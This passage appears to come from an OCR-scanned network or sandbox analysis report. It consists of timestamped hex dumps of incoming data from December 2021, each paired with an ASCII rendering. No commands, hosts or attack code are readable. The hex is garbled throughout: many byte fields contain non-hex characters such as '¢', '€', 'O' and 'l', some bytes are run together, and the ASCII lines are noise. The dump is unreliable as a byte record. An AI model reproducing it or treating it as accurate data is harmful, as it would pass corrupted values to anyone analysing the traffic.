82 a7 ae €9 05 al b6 6d dd 13 6e 55 60 6d 6b dc 14 f1 cf 37 e7 05 07 c3 9f 08 9e f4 51 e8 8e b2 54 7d e3 75 28 d8 Ob 84
df cf 9b d8 5b af e8 6f 82 eb 2e 96 81 10 44 6b c2 21 35 71 85 97 4a 47 5b 5e fe 56 e3 c7 d7 e3 88 24 6b f9 b5 7d 2a aa
9b 25 2501 45 e5 15 1b f4 1c 80 09 e8 al el 6f 2e 9f 2e b2 a8 f6 bd e2 30 ef b1 3e 1f 8e b6 49 b9 ec el cd fd da Of 03 77
03 84 db 9e 96 3c f3 6b 9b 1e a4 60 b3 f9 04 16 e6 71 05 b7 14 3e 7a 79 c5 a5 45 49 Oc 80 a0 02 14 87 2c 6e 52 8b b6 91
c58809 dc al el ee 9bf4 e4 8b e2 40 26 de al 74 92 d3 24 30 02 6e 45 ca bc b4 62 b1l 9d 32 be a6 50 2b 9a 7b 97 ab
39 8e ab 4b 94 db f5 5a 15 06 3b f2 a5 4b cb 6f 28 a6
Data Ascii: "h8,8Y7&umnU mk7QT}u([0.Dk!5qJG["V$k}%%Eo..0>lw<k q>zyEl,nR@&t$0nEb2P+{9KZ;Ko(

2021-12-03 00:05:28 UTC 99 IN Data Raw: fb 24 ¢5 b0 b1 0a a3 11 49 21 51 a5 42 96 50 fb 2f a5 40 85 34 9b 9b Oc 58 c5 4d bf 1f a5 57 00 e0 41 d4 11 e2
bc 27 6b 36 91 67 0d 05 d5 4c e5 a3 99 d1 b5 a3 30 64 4a 9b d1 51 21 d1 dd 8a c5 21 64 8a 35 65 94 84 84 16 27 c4 29
ef 4a 2e 8f 6¢ 69 f6 dO bb 8b 9f 53 09 ec 76 13 40 32 68 78 cd 80 e5 23 fa 2a b9 31 18 c6 88 93 5e 02 3d 79 2b Oe 2c a7
bb ¢5 10 5a e4 6¢ 56 f0 4d 8f 42 47 e9 6e 9e 38 d1 72 b9 b0 63 c1 2a 5d 49 25 0a 52 38 27 70 e7 6d cf 23 8e 9f 81 eb 6b
f8 e0 ab 11 74 de 4c 95 16 56 d0 5b 69 07 fc ea 1c 28 00 6f b7 el dO df cO f5 eb 82 44 d9 62 bc ¢3 52 53 71 a5 d9 41 b0
db Of b8 0a 78 24 al Ob 02 c4 f0 39 b2 b9 3e 1c e2 Oc 34 41 bl 19 67 65 d4 ca 49 b0 8d 3b d2 bc 97 ba 7e c2 79 69 fc 99
d8 c7 b3 4e 5e 92 d9 6a 54 1d 20 c9 ca 7c 2d 3b 56 5d 93
Data Ascii: $I!QBP/@4XMWA'k6gL0dJQ!!d5e")J.liISv@2hx#*1 =y+,ZIVMBGN8rc*|1%R8 pm#ktLV[i(0DbRSqAX$9>4Ag
eli~yiNNT |- V]

2021-12-03 00:05:28 UTC 101 IN Data Raw: a6 8b 79 ¢7 6a b3 33 b4 7a 73 4b 92 b9 73 40 06 1d 5d b5 f5 55 f9 6¢ d0 65 bf d4 2e 3d 3d b5 51 72 2b d0 92
99 73 ea 5b e5 23 36 32 8a 65 64 22 66 9e ca 56 7d 69 c6 9f 7d ca 39 cc f2 33 00 ec fb da 75 2e ¢3 6d 10 e2 65 6d 5b d4
0a 06 bl 33 4e 66 53 bf e0 01 55 7d 96 1c cd ad 2d 32 1d ce 9f be fc 56 13 52 1c d9 6e b2 6e 2b 20 81 5e 11 5e 31 65 a0
ba f1 f6 7d 69 26 a7 4f ac e6 0d 37 99 3f 42 73 dd 31 85 4e cd 50 69 59 67 34 57 b4 c1 5e da 63 d7 aa 15 ed 47 d1 59 94
8 1a f1 a0 d5 19 fO de 72 9d 48 9a 8c al 95 34 13 2e 31 29 13 dd af 56 10 e3 29 3e 8e 07 c4 c0 fa ea 07 18 8a 68 60 c7
50 66 a2 45 d6 58 9f Oc 71 25 f8 6d 00 82 Oc 9c c6 d7 11 20 09 06 {7 06 Oe el dc 80 d6 1d Oa d5 3d 09 7a 90 35 47 2d bl
4d a3 e6 19 4d 40 ca 59 f3 2f d5 63 66 bd 2e ce 95 41 4d
Data Ascii: yj3zsKs@]Ule.==Qr+s[#62ed"fV}i}93u.mem[3NfSU}-2VRnn+ M1e}i& 07?Bs1INPiYg4WAcGYrH4.1)V)>h"
PfEXq%m =z5G-MM@Y/cf.AM

2021-12-03 00:05:28 UTC 102 IN Data Raw: 6e 68 a9 ad 85 a7 be 74 51 fe al 8¢ f2 62 63 e9 88 da dc 3d 4a 9f d4 b9 9d 8f a8 cb 7e Of fc a4 cb f9 93 31 a5
20 c3 83 42 64 b3 2d 2f f2 10 65 54 20 ae 33 50 92 3d el 75 3c b7 45 8a 92 8d d6 c4 44 53 6a 29 ca 6f 96 83 58 ef 69 fe
2a 65 2d 1c d5 Oc cf a7 95 fd 4f d2 d9 f9 7d 9c bl a5 12 63 d5 b2 df 66 ac f8 c6 64 cf f9 08 2a b8 87 dc ab d7 a9 ad 4d af
€2 4375 63 26 39 98 f2 1c 6f 68 9a 90 e3 61 b4 a9 ce 5 d3 c2 fe 7d f9 2a 16 c4 96 81 3c 45 2f 27 51 7f 50 ad 6a 5f da 53
ad b9 49 c3 1a 6e 98 e9 7c 86 63 28 c7 72 34 18 b5 3c be fc 72 95 92 e3 48 85 b6 a8 cc 30 df dc Oc ee d8 36 80 15 61 8d
9a 18 5a 0c 1c da 4d 6d 23 85 f9 1e Oa 44 d2 82 b1 37 9f 49 3d 6a a0 b5 ab ed 08 aa 6b 86 8f €7 bd 29 cd 3a 75 Oe 14 6¢
d3 12 8f 22 Oc f8 d5 26 5f 6a 89 5f a0 d6 €0 d7
Data Ascii: nhtQbc=J~1 Bd-/eT 3P=u<EDSj)oXi*e-O}cfd*MCuc&9oha}*<E/'QPj_SIn|c(r4<rHO6aZMm#D71=jk):ul"&_j_

2021-12-03 00:05:28 UTC 103 IN Data Raw: b4 a0 23 72 42 b7 Ob 75 b7 1e 7f e6 3e 37 1f ef 82 ¢7 2b el ce 7b 72 56 80 eb 24 fa 08 d3 d4 26 49 Oe 36 el
0a 56 e4 93 70 82 79 4d cf 98 b8 37 f4 38 2a 8a 80 77 48 bf fc €6 dc 6e €5 bb dc 85 24 ee 29 e2 d7 da 36 92 ab 12 46 d5
al 40 dd 40 8b 5f 05 57 3d cc fb 75 90 4c 4c 45 7b dd 77 07 4c bb 76 76 5¢ d6 6d 39 al 8 fe ad 50 db ec 21 9b €9 14 16
€839 77 51 f4 c2 45 59 5d 94 73 94 88 91 a2 c1 a6 af 5a e8 19 5¢ d2 f5 4f 4f a2 3a f7 7b 2a bb 59 cb d9 86 9d 46 70 3d
ba bl 9b 5c 68 fb 12 b8 b1 9b 88 e7 82 d1 c2 00 ae dc 8d 67 cc ef 1d 2d f8 99 c3 8¢ 46 b7 Oc 01 25 e2 32 01 15 24 dO b6
00 ac 80 d1 41 98 98 9d 14 ed 7d 90 7b 5f 68 64 3a 6¢ 0d 77 a6 53 b2 e6 8b e6 99 bd €6 9f 67 1d Of 72 Ob bd 95 b5 0d aa
8f b2 98 53 72 be 6f ca aa 4c 2a b4 aa bf b4 b2 62 d3 35
Data Ascii: #rBu>7+{rV$&I6VpyM78*wHn$)6F@@_W=uLLE{wLvW\mIP!I9WQEY]sZ\OO:{*YFp=\hg-F%2$AH _hd:lwSgrSro
L*b5
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 104 IN Data Raw: 86 b4 80 3f ce b9 6e 40 82 01 04 82 d3 21 b2 e6 d2 40 91 3b ad 90 fb 06 b5 ec 50 ab b5 8 35 3d 41 8c d4 55
d4 ea 39 9a be cd 6f 47 bb 3f d2 20 c4 66 43 92 67 bl 2a ae dd 33 5a 75 4e 24 77 61 38 f5 3a b9 02 8d a6 da 77 99 e0 28
96 b3 3b b0 e4 07 55 9b dd 2d fa 7c 62 9e 63 7f 30 b7 63 3e 22 5¢ 5e 65 8d 24 01 11 20 1d ab 11 c6 e2 29 5a 59 d9 f7 56
74 57 26 34 d6 5a 86 29 3a ba e5 0d 4e ff 00 06 ca f9 4e 83 48 ca ba 17 97 2a 8e 2a 33 ac cd a4 d0 23 b5 32 83 56 7a 34
a8 ad bd 16 a9 59 5e a9 57 el 3a 54 3 15 ba 7b eb 52 17 4c 36 38 fd d3 7d 6f 33 e2 67 b2 al ce 00 43 5f Of d4 45 ba f8
755a 67 aa 7a dd a9 da 90 fb 88 ae 55 97 0a 90 eb 42 2b 19 7f 2f 77 fO 69 88 84 84 96 db 8d 2e 42 9c 76 ab 55 6¢ 37 64
a9 aa 94 e7 el Oe 52 ¢4 08 a8 09 6d 1d 07 05 d2 48 66 61
Data Ascii: ?n@!@;P5=AU90G? fCg*3ZuN$wa8:w(;U-|bcOc>"\"e$ )ZYViW&AZ):NNH**3#2Vz4Y W:T{RL68}03gC_EuZg
zUB+/wi.BvUI7dRmHfa

2021-12-03 00:05:28 UTC 106 IN Data Raw: 2e b8 ec cc 8a fc 49 6¢ al e8 d2 99 76 3c c6 56 80 b4 c8 69 d4 94 2d 95 85 05 70 b0 4e e3 6f 76 €0 d8 ed c6
82 64 56 24 84 5e 24 fe d5 4e c7 Of f6 49 ed 03 3a b9 95 al 49 46 8d eb 1d 42 75 7f 27 c8 43 6e 08 99 7f 31 3c b7 e5 57
7299 5a 82 83 21 c5 f7 b5 5a 70 59 48 d9 ed 8d a6 c9 69 b4 e3 a2 3f 6 2f fe d2 3c 6 9b 6e a2 bb 03 d7 f4 b9 a4 dc c2 of
79 0b 20 93 70 52 ab 1b 5a dc 90 46 e2 45 8e ee 3a 8c 6b f3 5d 16 3e 3af3 e9 ea b2 73 89 a4 47 04 26 d4 5¢ 11 d4 9e fb
7d ac 05 c9 16 b9 e7 de bd d5 7b 73 73 c7 87 8e 23 e6 9e 3e 2a aa el d0 ca 1b 99 e3 5f 74 27 2a 29 92 7 f1 dd 63 d3 f8
45 b4 00 49 69 bc d3 4f 9a f2 ae 78 b7 b3 ¢5 71 44 90 7d c0 al e3 8c e ef f4 71 58 44 97 eb 41 12 6e 47 Oe 7c 51 a3 eb
06 f4 b7 53 59 el Ob e8 3a a4 86 50 db 28 36 ee 9b 6d
Data Ascii: .Ilv<Vi-pNovdV$"$NI:IFBu'Cn1<WrZ!ZpYHi?/<ny pRZFE:K]>:sG&\H{ss#>*_t*)cEliOxqD}qgXDANG|QSY:P(6m

2021-12-03 00:05:28 UTC 107 IN Data Raw: 81 2e 34 96 10 el 43 4f f7 6a b6 2c 40 70 82 24 3b fa 92 69 53 42 08 €0 45 47 7a ea ba 73 a0 9f 69 a6 a7 e4 fa
fd 11 3a f9 06 66 b1 8a 1b 6¢ 52 32 c6 ae 65 f9 91 32 27 68 8d 3d a4 3e f3 54 a8 d4 ca 76 75 a2 40 4d 2a bd a7 59 5a 83
3a b5 29 dd 3c 67 2c 52 ab 19 b2 60 61 55 6¢ €3 26 5b 92 5f 91 cb 8b f0 ad 70 25 b0 d3 48 al 36 a6 a4 d5 d7 b8 12 4c 00
28 ba 07 c4 11 02 Oe 51 00 89 bf 95 37 a4 9d 2a ba 9b a6 da 8b a5 3a el 91 f3 4a f4 6e 76 99 67 7c 8e d4 f8 f5 fc f9 40 al
65 2c be 68 99 4e al 24 7f Oe cb d9 87 b4 4f 64 ca fd 6d ac bf a4 75 f9 b2 23 3f 56 85 a8 f9 53 35 eb 2e a7 55 61 ¢3 35 f6
349 4e 3296 59 3 f1 30 b1 30 c1 25 a4 c7 Oe 3c 27 79 a7 a2 ea c¢3 73 1e ¢3 12 09 6¢ 89 07 94 €9 4a 46 82 3 59 59 09
e5d4 1b ad 46 cc 2d d3 9d 4e 61 93 47 76 9d 93
Data Ascii: .4COj,@p$;iSBEGzsi:fIR2e2'h=>Tvu@M*YZ:)<g,R aUl&[ p%H6L(Q7*:Invg|@e,hN$Odmu#?VS5.Ua54N:Y
00%<'yslJFYYF-NaGv

2021-12-03 00:05:28 UTC 108 IN Data Raw: 9b b1 03 84 11 f5 6a 45 8e d4 fO ee 8a af 25 6 fa 46 df b1 1a 76 15 91 3e 9d 29 87 1f 49 dc 5a 52 14 05 92 42
d0 92 05 ec a2 3c 47 8f 1e 98 ¢7 d3 7e fd 56 d8 58 d9 f1 Ob 1a d8 2d 02 a6 a0 f4 bd d6 c3 76 3f d6 17 b4 cb 52 62 e5 f9 f2
5c 66 83 9b a6 b2 98 85 e5 9e e6 1le 62 4a 8a 18 21 d5 7b ac 8a a3 3b 61 ed 56 d4 2a 50 64 95 6e 59 bc a8 f8 82 ec 99
9c 2a 5d 97 2d 26 9a df 6a 8a d0 8d d7 aa 6d 04 d5 04 3f 1e 3b 3e d4 b6 e4 c6 52 49 4a d6 93 77 54 90 48 df ba c5 a7 12
3d d3 cf bf d0 db 05 4c 3f ba 7f dc d1 d2 e5 77 9b b2 a6 b2 83 22 1b 4f ba 4c 55 ee 62 43 2e 29 0a 6d 68 7c 24 3a a7 2e
49 40 48 €5 21 29 ba c1 29 dc 05 b1 8e 30 96 f7 7b 8d Oe dc b7 5d 98 0f Oc 71 99 21 db 18 83 11 ed ed aa da Oc d5 41 4d
06 b4 €350 d3 7a 05 6e 39 a9 e5e7 19 el 0d 2d 7e fc
Data Ascii: JE%FV>)IZRB<G~VX-v?Rb\fbJ!i{;aV*PdnY*]-&m?;>RIJWTH=L?w"OLUbC.)mh|$:.|@H!))0{]q!AMPzn9-~

2021-12-03 00:05:28 UTC 109 IN Data Raw: 40 1b 52 31 6¢ 27 02 dd 88 39 4d 6b 3a 79 5b 58 53 8e d0 1f 99 b6 75 78 7a 05 04 d2 16 ca 9b 79 b2 b6 9c 42
9b 5a 54 d0 00 b2 a6 48 5a 14 90 bb a8 a0 14 ee 50 f7 57 7e 87 8¢ 68 b0 5e 13 bf e2 0f fb 27 aa ba 01 a9 99 97 b7 df 67
cc ae da fb 3c ea b5 5d ea b7 68 2c 9b 96 e8 ea 6d 3a 29 ab b5 59 57 a8 6a 42 22 45 73 b8 8f a6 7a 9b 29 d3 26 be ea 62
b6 c6 52 ce 6a 72 a3 32 41 a7 e6 09 2f 53 b3 9c 86 09 fa 4d b6 69 99 24 cd 9a €9 93 10 1a 41 71 07 33 de 34 81 88 2c 3e
60 34 dd cd 88 03 8b 9b 00 09 32 5b 49 25 ad 07 cc cc 58 6e 4d 5b 29 6d 25 c4 ac 21 41 49 bf be 09 03 ad bf ca 7d d1 70
3e e9f7 88 bl 3a 12 6d b5 8159 ad 89 c9 b9 6a 3c 64 b0 a2 ch 65 63 6d f7 7b e6 e9 02 fd 47 17 27 af 8e 08 b6 77 2f 51
e9 ee 47 66 34 c8 ac c9 69 6e 32 ae ed 6d 81 dd 10 ab ad
Data Ascii: @R1I'9Mk:y[XSuxzyBZTHZPW~h~'g<]h,m:)YW]B"Esz)&bRjr2A/SMi$Aq34,> 42[1%XnM[)m%!Al}p>:mYj<d
ecm{G'w/QGf4in2m

2021-12-03 00:05:28 UTC 110 IN Data Raw: 91 3f 9f 03 dd d7 26 20 60 c2 2d c3 04 43 89 25 dc ab 68 bf 3d b8 a9 a6 d0 4c 86 9c 2a 02 dc 2f de be f3 eb e0
07 88 b7 8f 5b 60 b3 a8 03 70 2b 7a 9d 3c af c7 45 2e d9 42 6 15 05 15 29 7b 76 9b 95 25 27 fc de e0 07 6a 8f 04 8e 9c
13 6e 4e Oa cd 82 61 c7 c3 ca f6 09 96 62 cb 54 ea cc 46 c2 51 1e 0d 61 21 49 8d 34 29 68 66 43 8f 2e €9 8d 51 29 5a db
00 5b f9 0f 86 c2 db 51 09 5a ec 6d 82 bb d9 84 cc bf 2c cc ce 6a ec 69 e5 eb b2 c1 72 a3 4a 8b 22 44 59 8c aa 23 ec 15
77 cd a9 23 73 6d 1d cd b4 e2 77 59 b5 a0 80 1d 43 97 5b 6b b0 be ee 98 1b 15 83 cc 36 35 36 €9 71 d5 75 f3 bl 1le ac
e9 fe 67 62 Oe 97 69 6e 93 e4 9d 3f d7 05 52 a6 39 35 bc b7 93 d7 53 cc 7a ¢8 ac b7 4b 99 5e 7d 79 40 b3 98 72 a6 67 ae
66 87 32 dd 12 6a ab ab cf 9a ef 93 28 cb ab 48 85 4d ca
Data Ascii: ?& *-C%h=L*/['p+z<E.B){v%'jnNabTFQa!l4)hfC.Q)Z[QZm,jirJ"DY#w#smwY C[k656qugbin?R95SzK"}y@
rgf2j(HM

2021-12-03 00:05:28 UTC 111 IN Data Raw: d4 cc el 97 74 f3 21 47 79 b4 d1 35 3f 3f ea fe a0 65 1d 31 a7 d7 a7 b6 64 cd c9 b9 2f 56 6b 0d 53 7b 67 €8 26
64 9b de 89 d4 bd 37 d0 0d 3d c8 3d 9d db a7 b5 12 91 4d cc 4e 31 36 64 15 68 dc 27 1a 9f a4 6e 7b fe 29 38 8d 9c b9 4b
8e c2 0f 7b ¢4 70 e2 b4 ef 3¢ f6 c6 af 66 6a 73 33 f4 13 23 47 cb 59 3a bc 69 51 c6 be 76 b7 87 4c c8 1a 59 9b 6a f2 ab 40
d4 b2 cd 27 b2 76 4c 95 36 81 db Ob 31 d4 d8 69 a7 32 16 a5 ea 16 5f cf fa a5 2e b9 3b db 93 52 62 73 ac aa 76 ac c1 73
1f 98 bd a4 45 00 ad c6 ba 79 c¢8 b5 2b 18 3d ¢7 16 98 6d 70 d2 5¢ 29 4d 03 41 04 d2 a0 dO 54 10 61 58 1f f2 ba b3 9c 5¢
46 a3 eb ae 73 9d 9c 61 d0 59 96 fc 7d 57 ed 90 b6 db ca b9 22 8f 3a 4d 2a a6 32 fe 89 f6 44 6f 30 52 68 39 17 29 c9 69
5391 44 67 5¢ f3 9d 16 a9 96 e6 d2 a9 de c7 a5 d5
Data Ascii: t!Gy5??e1d/VkS{g&d7==MN16dh'n{)8K{p<fis3#GY:iQULYj@'VL61i2_.;RbsvsEy+=mp\)MATaxX\FsaY}W":
M*2D00Rh9)iSDg\

2021-12-03 00:05:28 UTC 112 IN Data Raw: 3d e2 3d 4f af 96 34 63 ce 19 24 41 91 97 5b 18 3b 70 51 cb f1 4e f4 5d b1 ec {7 9b 05 33 4e 32 ac le 8 b6 a6
el f2 cf 20 24 be fb 8e a9 69 37 04 9b da 6 fO b5 ba 5¢ 50 99 32 8b 3f 27 37 cb 6d c¢3 dd ba d2 1f 52 5f 43 2f c8 ff 00 a9 62
33 aa 69 e4 b0 ec 96 10 e3 4b 76 2f 7a a4 7b 43 09 75 a7 9e 64 96 9b 50 59 07 10 94 e9 e6 b9 ef 99 bb 44 ea cd 52 bl
98 74 f7 38 e4 4a 2d 03 31 21 fc ad 0d €6 93 47 91 5d a5 40 79 a9 15 ba 4e 7b a9 53 19 89 54 8a 6 65 c9 75 68 f1 68 f9
bf 2a 4f 15 36 6b b4 cc bd 57 93 16 b5 47 7e 6¢ Oa 7c 2a ac 4d 62 f4 9a 58 0f 59 9e f5 33 95 8e 10 e0 5¢ 27 42 05 88 82
36 a9 1d Oe 95 0b 91 7d a6 b4 6e 6e 4a 92 c6 78 a5 51 c4 Oc b1 99 16 97 a6 45 6a 2d 41 96 68 f5 77 94 a6 a5 18 ac 4f 8f
le a0 8a 04 f9 4d b9 26 89 22 a6 cc 49 6a 86 fb 1d
Data Ascii: ==04c$A[;pQN]3N2 $i7\P2?'7TmR_C/b3iKv/z{CudPYDRt8J-1!G]@yN{STeuhh*O6kWG~I[*MbXY 3\'B6}nnIXQEj-
AhwOM&"lj

2021-12-03 00:05:28 UTC 114 IN Data Raw: 53 2f 24 29 31 11 30 04 d2 5 14 b0 8b 46 e2 14 b4 86 cc 0a 90 20 8a 73 b4 74 23 ¢9 75 bb b3 0f 6¢ bd 22 cc
3032 ae 43 ed 41 91 e5 e6 9c d9 97 6a 30 a8 f9 43 33 54 27 d5 91 a6 15 2c 85 03 2e 8a 16 5d c9 d1 72 76 59 76 65 5f 24
eaf3 d59a a3 5 8ff9 a5 97 32 ae 74 cd 1la a5 56 92 ba 76 73 ac c0 88 69 f4 b8 9c 8f f8 59 25 ec 20 5a 41 99 10 2b 10 d8
22 9a 90 79 c4 ae ff 00 87 {8 86 1f f4 de d2 4c 51 d4 8b d0 54 cc d7 4d a4 91 30 ae 7e d3 dd 89 25 eb bd 5b 35 ea de 86
e4 aa de 4d d6 29 fa 8d 92 72 65 47 b3 ad 33 28 69 76 45 d3 1a ec 29 ac b3 4d cc 9 f2 9b 98 60 67 67 60 69 56 6e 8e d1
8b 9c b3 91 d5 9a ee 5d 7f 3e 2d d7 93 96 b4 fe 87 56 90 94 b9 50 71 19 47 d7 80 dc 52 de b5 a5 20 68 67 e2 3e 91 2c 80
66 4c d4 39 bl 51 40 61 db 50 82 7e 97 10 21 cd e3 be
Data Ascii: S/$)10F st#ul"02CAjOC3T",.JrvYve_$2tVvsiY% ZA+"yLQTMO0~%[5M)reG3(ivE)M'gg'iVn]>-VPqGR hg>
[fLOQ@aP~!
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 115 IN Data Raw: 55 6b 74 c1 62 49 3c 53 b6 9b 52 ee b6 d2 9e ec 6d 6d a4 2a c6 c9 50 00 72 6f 75 Oe 89 22 d6 1c 78 e0 a3 9d
3b f6 e4 9c 46 69 48 41 6¢ a5 6e 05 1b a5 28 23 7a 54 3e f2 78 b9 06 d7 3c 79 de fd 40 dc 58 72 1e 8a e5 a4 09 89 d6 95
3edd f4 57 1c 42 5¢c 09 0d 84 94 77 e8 8e 03 eb bl 1f cc 4b 6a 4a 4a c8 48 52 d4 4e d2 4a 52 6¢ 12 0d c8 c5 5e 48 14 f5
O fe a8 2c 96 fd 52 04 Oe 7a 77 75 70 25 a7 76 2f bb 6¢ 86 5a 75 1b 96 3d e0 d3 6a 50 6d be fd 68 2a 08 42 9c 21 Oe 75
26 e4 01 7e Oe 70 ec a0 90 4c 89 80 3b f5 fc 2a 81 02 2e 05 a6 f1 c5 65 fd 2f d1 dd 50 d5 65 b8 8d 33 c8 d9 87 39 44 8a
a8 2e 55 6b 34 68 91 51 40 a6 33 24 3c ea df a9 66 2a b3 d4 ec b3 02 1c 28 6¢ b9 3a 5b b2 6b 8c be d4 44 2d e5 32 3a
60 c7 e2 83 01 84 36 d5 11 73 3e dd dd 2b b7 73 fd d7 6a 56
Data Ascii: Uktbl<SRmm*Prou"x; FiHAIN(#zT>x<y@Xr>WB\WKjJJHRNJRI"H,Rzwup%v/IZu=jPmh*B!u&~pL;*.e/Pe39D.
Uk4hQ@3$<f*(I:[kD-2:"6s>+sjV

2021-12-03 00:05:28 UTC 116 IN Data Raw: 8d 5¢c ae 73 b3 1b 0d 08 d3 61 53 5d 5d bb a8 60 00 d1 9b be 91 90 5a e4 ea €3 b9 a0 b5 9a 34 1b 92 e2 7b a5
16 23 05 69 43 4a dc 92 01 de 4a ca 47 ba 06 el b8 7b 9c 82 2¢ 92 45 ac 4f 37 c6 a0 45 a9 df 7e 8b 35 32 ¢3 07 84 d9 20
5d 43 dd 04 ab dd e0 15 24 0b 14 9f 02 0d c8 23 a6 08 9e f7 2a 05 09 21 29 2e dc 70 de db da d6 db ef 75 3e a0 74 3e 56
cl 11 14 c5 88 ba 95 6b ed 52 95 c0 49 bf 16 b5 af 7b 5e ff 00 9e 08 ad bc dd 94 b2 f6 75 cb 75 ec 95 9b 29 71 ea f9 73 32
53 24 d1 ab 34 d9 48 43 ac 4a a7 54 18 71 87 d2 b6 d6 9d 8f 16 d0 e2 9d 40 07 78 55 b9 36 07 12 09 16 45 f3 b3 fb 46 bb
21 66 Oe c4 1d a6 33 5e 95 bd 16 4a b4 ee b9 ed 79 b3 48 6b cf 37 68 d5 1c 9f 36 52 8a a8 be d0 91 b4 cd cb 2f af d8 dc
6d 7b 3f f4 f5 44 5a 4b ab 44 95 0d b0 f2 96 41 70 69
Data Ascii: \saS]| Z4{#ICJIG{,EO7E~52 |C$#*!).pu>t>VkRI{*uu)gs2S$4HCITq@xUB6EF!f3"JyHk7h6R/m{?DZKDApi

2021-12-03 00:05:28 UTC 117 IN Data Raw: €6 83 9f 75 a5 83 bb ba 5b 81 3d ea 56 15 7b ed 71 28 bd d2 a0 52 40 12 01 71 00 45 77 30 16 4e 20 b8 6d 11
2387 af 7c d5 el a7 1a 9b a8 ba 27 9e a0 6a 9e 8b 6a 16 6e d2 3d 4b a5 26 3b 74 cc e3 91 6a ee 52 67 4b 66 3a 9f 52 68
f9 8a 23 c9 7e 8f 9a b2 e3 5e d3 2a 43 79 77 34 42 ae 50 83 d2 5¢ 93 1e Oa 25 a8 38 9a bd ae 01 c1 ad 05 c4 65 98 16 06
7e eb 81 cb 88 34 25 65 f3 1f 84 1c fO 5¢c Ob 4e 66 44 11 24 89 39 48 22 4b 40 04 91 31 40 56 f2 cb d7 6e c¢7 5d b2 ea 0f 3f
db 2f 2d c6 ec 75 da 36 a0 e2 53 3f b6 c7 67 2c a2 a7 f4 43 52 a6 a6 3d 3e 2b d3 bb 53 f6 7b 62 52 9c a2 4a 9c 62 a0 ca
cf f9 3a53 cd 42 a2 d2 9e 7a 76 6b cb 10 25 2e 02 fO 0d c5 66 6f a4 13 95 d7 74 45 05 48 90 49 b4 44 98 07 4a 2f 41 ee
c2c7 6e 01 7b 8b 1le e7 b2 32 b6 b9 a6 22 72 ba 18 e2
Data Ascii: u[=V{q(R@gqEwWON m#|'jjn=K&;tjRgKf:Rh#~"*Cyw4BP\%8e~4%e\NfD$IH"K@1@Vn]?/-u6S?g,CR=>+S{bRJb
:SBzvk%.fotEHIDJ/An{2"r

2021-12-03 00:05:28 UTC 119 IN Data Raw: 4d 3d 99 35 2a 9d 9e f2 aa b2 75 5a 43 65 9a 94 36 90 da cb d7 72 24 a5 37 76 1c 69 47 ee b8 1c 50 25 49 3f
7bal 1d 71 8e 28 32 d7 52 1b 3c 8 fe ab 14 57 6b 89 24 13 ca 2d 45 97 53 Oe 54 49 2f 53 aa 1b 51 54 81 25 30 a5 a4 85
10 be 14 59 96 c2 89 7 d8 93 1d 08 79 2a b5 92 a2 b4 9e 52 ab 68 c2 Ob 41 1b 0f 45 96 42 09 2e 2d 6¢ c4 49 d8 78 25 92
€2 d6 56 94 a4 15 7 b6 6¢ 9f 00 7c 7d 41 fd bl 65 24 47 1e 49 62 c1 41 2a 51 40 74 7b a5 24 5¢ 9b 9e a8 b8 50 04 f1 cd
b8 e8 0a 4f 38 90 62 al 42 41 a4 ca 42 9c 4b 4e 2d b2 7f ee a4 58 07 53 62 36 b8 3f fd c4 90 a2 08 7b bd 49 04 8e 01 23
07 1c d7 01 16 b7 ea 6f 63 3e ca 5a cd 2d ca 86 a8 f6 6e d1 9c el 54 75 69 5f f8 86 6e 43 al cO cc e8 71 2a 49 Of a7 31
5123 d2 eb 3d f2 4d c8 75 53 8a ae 02 f9 70 5f 15 81 d9
Data Ascii: M=5*uZCe6r$7viGP%I?{q(2R<Wk$-ESTI/SQT%0Yy*RhAEB.-IIx%VI[}Ae$GIbA*Q@t{$\PO8bBABKN-XSh62{I
#oc>Z-nTui_nCq*11Q#=MuSp_

2021-12-03 00:05:28 UTC 120 IN Data Raw: a2 bc 29 f3 7b 8a d3 48 fe 21 1f da 2a 37 ea 70 68 a9 34 17 11 17 92 79 72 a6 a2 ab 57 9c b2 d4 0a 79 5a 88
57 ba ad 9b 81 24 6e 00 f0 53 c5 8d af eb b7 05 27 €9 73 98 4d 5b 13 5d e8 20 ea 8e 94 14 bd 6f 78 1b 1e Of 16 04 5b cf
d7f7 16 c1 14 9a 55 05 d8 ae 40 aa 40 4d 5a 82 f9 5b b5 2a 60 71 51 e4 2d f4 b6 1b 44 ea 6¢ dO 15 fc 36 a2 d9 4a 54 26
30 9e f9 ¢4 05 30 ab a5 c2 52 4b 96 8d 5¢ 60 77 ef a2 c4 59 cb 20 54 32 c5 aa d4 c¢7 24 d4 72 55 42 54 a8 d4 ac c0 b8 ed
07 5a 7d 90 da e4 51 6b 0d c5 5a bf 87 56 1b 53 al 2d al c6 db 6e ab 19 b1 22 01 79 49 79 0d a9 aa e8 26 1d 93 58 cd
31 4d 05 fd 06 cb 67 fb 30 76 e4 d5 ce cd 31 72 9e 4b 69 14 ec c5 a6 39 6b 33 66 2a d6 56 a4 4b 11 72 de 64 d2 da fe a7
4c 81 03 3f e6 ac a3 9f e8 59 4b 33 e7 68 14 1a e5 3d fa cd
Data Ascii: {H!*7ph4yrWyZW$nS'sM[] ox[U@ @MZ[* qQ-DI6JT&OORK\'wY T2$rUBTZ}QkZVS-n"yly&X1MgOv1rKiok3f
*VKrdL?YK3h=

2021-12-03 00:05:28 UTC 121 IN Data Raw: dc f7 35 47 61 86 cb f3 49 79 cc 44 6e 7c ff 00 4a cd 45 3c 33 dc fb 79 91 b2 6a 92 {3 29 52 da 50 fe 6f b9 ef 94
87 14 1 58 03 bf 58 79 a2 c2 9a 71 3f 7b 6e 2b 33 7e 71 ce f5 f7 aa cd 5b 33 a7 bl 1d c7 cc 57 58 69 25 6b 61 c6 92 80
€9 7d b6 56 54 03 64 ed 4a 6¢ f2 49 Oe 2a ee a9 Ob 48 70 95 02 70 ef bf 44 58 ee b7 56 29 2e 38 da d2 a7 5¢c 70 ad 47 bb
43 c7f9 8a 5e f2 e7 7b ee 8b 26 c1 01 36 29 50 24 9c 11 62 9a d4 c2 a5 10 8f e6 a0 36 42 16 94 f2 a5 9e aa 5d b8 dc 2f
b4 81 e0 2c 2f d7 Ob 22 ¢7 73 b7 38 56 ca bd ¢5 84 0d 8b 16 09 2b 49 1c 11 el ba e6 e3 8b e2 59 57 e5 1f 70 13 5b 46 €9
4e fb fc 3 42 3a 13 70 d9 01 3b 45 89 04 12 4f 89 1f 1f 5e 47 23 a6 2b 8¢ 4b 9b 46 c1 06 Oe b4 b4 9f 70 8a f5 c9 d5 f9 99
